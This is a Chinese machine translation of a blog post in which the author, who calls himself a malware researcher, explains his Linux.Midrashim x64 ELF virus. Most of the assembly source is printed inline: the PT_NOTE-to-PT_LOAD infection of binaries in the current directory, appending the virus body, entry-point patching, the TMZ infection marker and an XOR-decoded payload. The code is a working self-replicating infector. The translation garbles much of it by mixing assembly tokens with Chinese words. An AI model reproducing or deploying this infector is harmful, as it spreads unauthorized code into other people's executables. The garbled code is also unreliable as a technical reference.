Linux.Midrashim:程序集x64 ELF病毒

2021-01-20 03:03:26

我对汇编语言的兴趣从小就开始,主要是因为DOS时代的计算机病毒。我花了无数的时间来思考我的第一批谦虚的源代码和示例集合(您可以在https://github.com/guitmz/virii上找到它),对于我来说,使用Assembly可以拥有多么灵活和富创意的感觉真是太酷了,即使其学习曲线很陡。

我是一名独立的恶意软件研究人员,并编写了这种病毒来学习和娱乐,从而扩展了我对几种ELF攻击/防御技术和程序集的了解。

该代码未实现任何规避技术,并且检测很简单。在此代码发布之前,还与一些主要的防病毒公司共享了示例,并创建了签名,例如ESET的Linux / Midrashim.A。我也在研究一种疫苗,将在以后提供。准备好后,我会更新此信息。

负载不会像往常一样具有破坏性。它只是将Ozar Midrashim歌曲的无害歌词打印到stdout,并且受感染文件的布局如下(完整图像):

Midrashim是64位Linux感染程序,其目标是当前目录中的ELF文件(非递归)。它依赖于众所周知的PT_NOTE-> PT_LOAD感染技术,应在常规和位置独立的二进制文件上工作。这种方法的成功率很高,并且易于实现(和检测)。在此处了解更多信息。

它不适用于Golang可执行文件,因为那些文件需要PT_NOTE段才能正常运行(感染是可行的,但是受感染的文件将在病毒执行后出现段错误)。

为简单起见,它应使用pread64和pwrite64来读取/写入目标文件中的特定位置,而应改为使用mmap,以提高灵活性和可靠性。其他一些方面也可以改进,例如使用更好的方法检测首次病毒执行情况以及更多错误处理以最大程度地减少陷阱。

我对Midrashim的有效负载有很多想法,从我从http://www.pouet.net/上的项目中获得的灵感,到使用ANSI转义码控制终端(在此了解更多-这是我在Midrashim中写的东西)心神)。

由于缺乏空闲时间,并且考虑到在Assembly中实现此类事情的复杂性,特别是在具有这种性质的代码中,我最终得到了一些更简单的东西,并且可能会在以后的项目中重新讨论该主题。

这是我的第一个完全组装的感染器,应与FASM x64组装。其核心功能包括:

检查其病毒是否首次运行(如果是首次运行,则显示不同的有效负载消息)

带有注释的完整代码可在https://github.com/guitmz/midrashim上找到,我们现在将更详细地介绍上述每个步骤。

如果您需要了解Linux系统调用参数的帮助,请随时访问我新的网站(正在进行中):https://syscall.sh

对于堆栈缓冲区,我使用了r15寄存器,并在浏览代码时添加了以下注释,以供参考。

请注意这些值,例如ELF标头,它的长度为64个字节。由于r15 + 144表示它的开始,因此应该在r15 + 207处结束。介于两者之间的值也要考虑在内,例如ehdr.entry从r15 + 168开始,长度为8个字节,在r15 + 175处结束。

; r15 + 0 =堆栈缓冲区= stat; r15 + 48 = stat.st_size; r15 + 144 = ehdr; r15 + 148 = ehdr.class; r15 + 152 = ehdr.pad; r15 + 168 = ehdr.entry; r15 + 176 = ehdr.phoff; r15 + 198 = ehdr.phentsize; r15 + 200 = ehdr.phnum; r15 + 208 = phdr = phdr.type; r15 + 212 = phflags标志; r15 + 216 =相位偏移; r15 + 224 = phdr.vaddr; r15 + 232 = phdr.paddr; r15 + 240 = phdr.filesz; r15 + 248 = phdr.memsz; r15 + 256 = phdr.align; r15 + 300 = jmp rel; r15 + 350 =目录大小; r15 + 400 = dirent = dirent.d_ino; r15 + 416 = dirent.d_reclen; r15 + 418 = dirent.d_type; r15 + 419 = dirent.d_name; r15 + 3000 =首次运行控制标志; r15 + 3001 =解码后的有效载荷

保留堆栈空间很容易,有多种方法可以做到,一种是从rsp中减去,然后将其存储在r15中。同样在开始时,我们将argv0存储到r14(下一步将需要它),然后推送rdx和rsp,这需要在病毒执行结束之前恢复,以便感染文件可以正常运行。

v_start:mov r14,[rsp + 8];保存argv0到r14 push rdx push rsp sub rsp,5000;保留5000字节mov r15,rsp; r15具有保留的堆栈缓冲区地址

为了检查病毒的首次执行,我们获得以字节为单位的argv0大小,并与存储在V_SIZE中的最终病毒大小进行比较。如果更大,则不是第一次运行,我们将控制值设置到堆栈缓冲区中的某个位置以供以后使用。这是最后一分钟的补充,效果不是很好(但很容易实现,很明显)。

check_first_run:mov rdi,r14; argv0到rdi mov rsi,O_RDONLY xor rdx,rdx;不使用任何标志mov rax,SYS_OPEN syscall; rax包含argv0 fd mov rdi,rax mov rsi,r15; rsi = r15 =堆栈缓冲区地址mov rax,SYS_FSTAT;以字节为单位获取argv0大小syscall; stat.st_size = [r15 + 48] cmp qword [r15 + 48],V_SIZE;比较argv0大小和病毒大小jg load_dir;如果更大,则不先运行,继续感染而不设置控制标志mov byte [r15 + 3000],FIRST_RUN;将控制标志设置为[r15 + 3000]以表示病毒首次执行

我们需要找到感染的目标。为此,我们将使用getdents64 syscall打开当前目录以进行读取,这将返回其中的条目数。那进入堆栈缓冲区。

load_dir:推"。" ;推"。"堆叠(rsp)mov rdi,rsp;移动"。"到rdi mov rsi,O_RDONLY xor rdx,rdx;不使用任何标志mov rax,SYS_OPEN syscall; rax包含fd pop rdi cmp rax,0;如果无法打开文件,请立即退出jbe v_stop mov rdi,rax;将fd移至rdi lea rsi,[r15 + 400]; rsi = dirent = [r15 + 400] mov rdx,DI RENT_BUFSIZE;具有最大目录大小的缓冲区mov rax,SYS_GETDENTS64 syscall; dirent包含目录条目test rax,rax;检查目录列表是否成功js v_stop;如果返回负代码,则我失败了,应该退出mov qword [r15 + 350],rax; [r15 + 350]现在保存目录大小mov rax,SYS_CLOSE;在rdi syscall xor rcx,rcx中关闭源fd;将是目录条目中的位置

现在,搜寻变得更加……狂野,因为我们遍历了刚刚执行的目录列表中的每个文件。执行的步骤:

验证它是ELF和64位(通过从标头中验证其幻数和类信息)

检查是否已被感染(通过在ehdr.pad中查找应该设置的感染标记),如果没有被感染,则循环遍历目标程序头,查找PT_NOTE部分,找到后开始感染过程

file_loop:推送rcx;保留rcx cmp字节[rcx + r15 + 418],DT_REG;检查是否为常规文件dirent.d_type = [r15 + 418] jne .continue;如果不是,请继续下一个文件.open_target_file:lea rdi,[rcx + r15 + 419]; dirent.d_name = [r15 + 419] mov rsi,O_RDWR xor rdx,rdx;不使用任何标志mov rax,SYS_OPEN syscall cmp rax,0;如果无法打开文件,请立即退出jbe。继续mov r9,rax; r9包含目标fd .read_ehdr:mov rdi,r9; r9包含fd lea rsi,[r15 + 144]; rsi = ehdr = [r15 + 144] mov rdx,EHDR_SIZE; ehdr.size mov r10,0;以偏移量0 mov rax读取,SYS_PREAD64 syscall .is_elf:cmp dword [r15 + 144],0x464c457f; 0x464c457f表示.ELF(little-endian)jnz .close_file;不是ELF二进制文件,请关闭并继续到下一个文件(如果有).is_64:cmp字节[r15 + 148],ELFCLASS64;检查目标ELF是否为64位jne .close_file;如果未感染则跳过它。is_infected:cmp dword [r15 + 152],0x005a4d54;检查[r15 + 152] ehdr.pad中的签名(little-endian中的TMZ,加上结尾的零以填充字长)jz .close_file;已经被感染,请关闭并继续到下一个文件(如果有mov r8,[r15 + 176]); r8现在从[r15 + 176] xor rbx,rbx持有ehdr.phoff;在rbx xor r14,r14中初始化phdr循环计数器; r14将保存phdr文件的偏移量.loop_phdr:mov rdi,r9; r9包含fd lea rsi,[r15 + 208]; rsi = phdr = [r15 + 208] mov dx,单词[r15 + 198]; ehdr.phentsize位于[r15 + 198] mov r10,r8;从r8在ehdr.phoff处读取(每个循环迭代增加ehdr.phentsize)mov rax,SYS_PREAD64 syscall cmp字节[r15 + 208],PT_NOTE;检查[r15 + 208]中的phdr.type是否为PT_NOTE(4)jz .infect;如果是,请开始感染inc rbx;如果不是,则增加rbx计数器cmp bx,单词[r15 + 200];检查是否已经遍历所有phdr(ehdr.phnum = [r15 + 200])jge .close_file;如果没有找到有效的phdr用于感染,则退出,加入r8w,单词[r15 + 198];否则,将[r15 + 198]中的当前ehdr.phentsize添加到r8w jnz .loop_phdr中;阅读下一个phdr

我是否已经提到它将变得疯狂?只是在开玩笑,其实并没有那么复杂,只是很长。它是这样的:

将病毒代码(v_stop-v_start)附加到文件的目标结尾。这些偏移量会在不同的病毒执行过程中发生变化,因此我使用的是一种古老的技术,该技术会在运行时使用调用指令和rbp的值来计算增量内存偏移量

.infect:.get_target_phdr_file_offset:mov ax,bx;将phdr循环计数器bx加载到ax mov dx,单词[r15 + 198];将ehdr.phentsize从[r15 + 198]加载到dx imul dx; bx * ehdr.phentsize mov r14w,ax加r14,[r15 + 176]; r14 = ehdr.phoff +(bx * ehdr.phentsize).file_info:mov rdi,r9 mov rsi,r15; rsi = r15 =堆栈缓冲区地址mov rax,SYS_FSTAT syscall; stat.st_size = [r15 + 48] .append_virus:;得到目标EOF mov rdi,r9; r9包含fd mov rsi,0;寻求偏移0 mov rdx,SEEK_END mov rax,SYS_LSEEK syscall;在rax push rax中获取目标EOF偏移量;保存目标EOF呼叫.delta;古老的技巧.delta:pop rbp sub rbp,.delta;将病毒体写入EOF mov rdi,r9; r9包含fd lea rsi,[rbp + v_start];在rsi mov rdx中加载v_start地址,v_stop-v_start;病毒大小mov r10,rax; rax包含相对于先前系统调用mov rax的目标EOF偏移量,SYS_PWRITE64 syscall cmp rax,0 jbe .close_file

.patch_phdr:mov dword [r15 + 208],PT_LOAD;将[r15 + 208]中的phdr类型从PT_NOTE更改为PT_LOAD(1)mov dword [r15 + 212],PF_R或PF_X;将[r15 + 212]中的phdr.flags更改为PF_X(1)| PF_R(4)pop rax;将目标的目标EOF恢复为rax mov [r15 + 216],rax; phdr.offset [r15 + 216] =目标EOF偏移mov r13,[r15 + 48];将来自[r15 + 48]的目标stat.st_size存储在r13中,添加r13,0xc000000;将0xc000000添加到目标文件大小mov [r15 + 224],r13;将[r15 + 224]中的phdr.vaddr更改为r13中的新值(stat.st_size + 0xc000000)mov qword [r15 + 256],0x200000;将[r15 + 256]中的phdr.align设置为2mb,添加qword [r15 + 240],v_stop-v_start + 5;将病毒大小添加到[r15 + 240] + 5中的phdr.filesz中,以将jmp添加到原始ehdr.entry添加qword [r15 + 248],v_stop-v_start + 5;将病毒大小添加到[r15 + 248] + 5中的phdr.memsz中,将jmp添加到原始ehdr.entry中;写补丁的phdr mov rdi,r9; r9包含fd mov rsi,r15; rsi = r15 =堆栈缓冲区地址lea rsi,[r15 + 208]; rsi = phdr = [r15 + 208] mov dx,单词[r15 + 198]; ehdr.phentsize from [r15 + 198] mov r10,r14;来自[r15 + 208]的phdr mov rax,SYS_PWRITE64 syscall cmp rax,0 jbe .close_file

.patch_ehdr:;修补ehdr mov r14,[r15 + 168];将[r15 + 168]中的目标原始ehent.entry存储在r14 mov [r15 + 168],r13中;将[r15 + 168]中的ehdr.entry设置为r13(phdr.vaddr)mov r13,0x005a4d54;将病毒签名加载到r13(little-endian中的TMZ)mov [r15 + 152],r13中;在[r15 + 152]中将病毒签名添加到ehdr.pad中;写补丁的ehdr mov rdi,r9; r9包含fd lea rsi,[r15 + 144]; rsi = ehdr = [r15 + 144] mov rdx,EHDR_SIZE; ehdr.size mov r10,0; ehdr.offset mov rax,SYS_PWRITE64 syscall cmp rax,0 jbe .close_file

很深吧?这就是我们要做的,然后跳回到原始目标入口点以继续执行主机。

我们将使用相对跳转,该跳转由带有32位偏移量的e9操作码表示,使整个指令的长度为5个字节(e9 00 00 00 00)。

要创建此指令,我们使用以下公式,并考虑之前的修补过的phdr.vaddr:

这里没有秘密,我们需要在最近添加的病毒体之后将此说明写到文件的末尾。

.write_patched_jmp:;获得目标新EOF mov rdi,r9; r9包含fd mov rsi,0;寻求偏移0 mov rdx,SEEK_END mov rax,SYS_LSEEK syscall;在rax中获取目标EOF偏移;创建补丁的jmp mov rdx,[r15 + 224]; rdx = phdr.vaddr add rdx,5 sub r14,rdx sub r14,v_stop-v_start mov字节[r15 + 300],0xe9 mov dword [r15 + 301],r14d;将补丁的jmp写入EOF mov rdi,r9; r9包含fd lea rsi,[r15 + 300]; rsi =堆栈缓冲区中修补的jmp = [r15 + 208] mov rdx,5; jmp rel mov r10的大小,rax; mov rax to r10 =新目标EOF mov rax,SYS_PWRITE64 syscall cmp rax,0 jbe .close_file mov rax,SYS_SYNC;将文件系统缓存提交到磁盘syscall

here,我们快完成了!代码的最后几位将负责在屏幕上显示文本有效内容。

我们会先检查是否是病毒首次运行(这意味着它不是从受感染的文件内部运行),如果情况确实如此,我们会在屏幕上显示一条消息并退出

如果不是第一次运行,我们将在屏幕上打印不同的消息,该消息使用xor编码并添加指令。这样做的目的是防止字符串以纯文本形式显示在二进制文件中

cmp字节[r15 + 3000],FIRST_RUN;检查我们之前设置的自定义控制标志是否指示病毒首次执行如果控制标志!= 1,它应该正在受感染的文件中运行,请使用常规的有效负载调用show_msg;如果控制标志== 1,则假定病毒是第一次执行,并显示不同的消息info_msg:db' TMZ(c)2020' ,0xa;不是我之前提到的最好的方法,而是快速实现info_len = $-info_msg show_msg:pop rsi; info_msg到rsi mov rax的地址,SYS_WRITE mov rdi,STDOUT;显示有效内容mov rdx,info_len syscall jmp cl eanup;清理并退出被感染的运行: 1337编码的有效载荷,非常hax0r调用有效载荷msg:;有效内容第一部分db 0x59、0x7c,0x95、0x95、0x57、0x9e,0x9d,0x57 db 0xa3、0x9f,0x92、0x57、0x93、0x9e,0xa8、0xa3 db 0x96、0x9d,0x98、0x57、0x92、0x57 0x98 db 0x96、0x9d,0x57、0xa8、0x92、0x92、0x57、0x96 ... len = $-msg有效载荷:pop rsi;设置解码循环mov rcx,len lea rdi,[r15 + 3001] .decode:lodsb;将来自rsi的字节装入al sub al,50;解码它xor al,5 stosb;将al中的字节存储到rdi循环中。从rcx中减去1并继续循环直到rcx = 0 lea rsi,[r15 + 3001];解码的有效载荷位于[r15 + 3000] mov rax,SYS_WRITE mov rdi,STDOUT;显示有效载荷mov rdx,len syscall

这最终成为我最长的项目之一。我记得在一个月的时间内多次回来,有时是因为我被困住并不得不做研究,而另一些时候,大会的逻辑被遗忘了,花了我一些时间使我的思想回到正轨。

许多人认为组装和ELF注射是一种艺术形式(包括我自己),并且数十年来,开发和改进了新技术。有必要讨论这些问题并共享知识,以改进对威胁参与者的检测,而威胁参与者已开始越来越多地意识到Linux似乎还不是安全公司的优先考虑事项。

最后,它虽然不是最好的代码之一,但却是我写过的最有趣,最有价值的代码之一。 由Guilherme Thomazi在技术上发布,并使用3094个单词标记了asm,assembly,elf,infector,injection,linux,malware,midrashim,ozar,virus和x64。